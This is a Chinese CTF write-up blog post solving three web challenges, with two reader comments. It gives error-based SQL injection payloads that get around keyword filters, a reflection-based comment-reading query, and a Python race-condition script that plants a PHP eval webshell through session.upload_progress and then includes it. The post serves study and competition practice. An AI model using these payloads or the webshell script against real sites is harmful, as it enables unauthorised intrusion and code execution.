Web
easy_sql
SQLMap 无列名注入 报错注入
SQLMap一把梭,就扫出来一个security数据库和id表,里面的东西都是假的。
尝试fuzz一下,发现ban掉了union column information等关键字,payload上出现这些字眼直接返回一个no。
由于column关键字被ban,因此尝试报错+无列名注入。
uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
得到flag
easy_source
.swo文件泄露 ReflectionMethod 读取注释
笑死,审题人大失误,居然是原题,payload都不带改一下的
https://r0yanx.com/2020/10/28/fslh-writeup/
首先发现.swo
文件泄露 .index.php.swo
(一定不要忘记.
)
得到源码,flag藏在某个类的注释之中,于是可以尝试ReflectionMethod
的GetDocComment
来获取类的注释。
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
middle_source
https://www.freebuf.com/news/202819.html
session.upload_progress
是php5.4新增的功能,说白了就是将文件上传的进度存储在session中。
本题有一个很坑爹的地方,就是.listing
文件,这是一个索引文件,会将当前目录的结构存储在这个文件里面。通过访问这个.listing
文件,发现了you_can_seeeeeeee_me.php
,审计其,发现PHP_SESSION_UPLOAD_PROGRESS这个选项是On的,说明可以尝试session.upload_progress
进行文件包含。同时也发现了session的存储目录:/var/lib/php/sessions/ceahhifgia/sess_
.
同时,session.use_strict_mode是off的,所以我们可以自己定义一个session,比如我们指定Cookie PHPSESSID=ABC,就会在session下生成一个sess_ABC的文件。但是session.upload_progress.cleanup处于开启状态,此session文件在上传后就会被自动清除,因此需要一个脚本进行条件竞争。
#coding=utf-8 import io import requests import threading sessid = 'flag' data = {"cmd":"var_dump(scandir('/etc'));","cf":"../../../../var/lib/php/sessions/aabcdbdcea/sess_"+sessid} def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://123.60.214.2:26230/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('zhushu.txt',f)}, cookies={'PHPSESSID': sessid} ) def read(session): while True: resp = session.post('http://123.60.214.2:26230/',data=data) if 'zhushu.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry") if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
最终找到flag所在位置/etc/ahhadfehie/bbeffdceha/ibdafffefh/cfhcdedbfd/bgjbiceiei/fl444444g
剩余题目在等复现环境...
Comments | 2 条评论
博主 hkcc
能问一下这些题目哪里有环境嘛
博主 deoplljj
@hkcc 目前BUUOJ上上了一些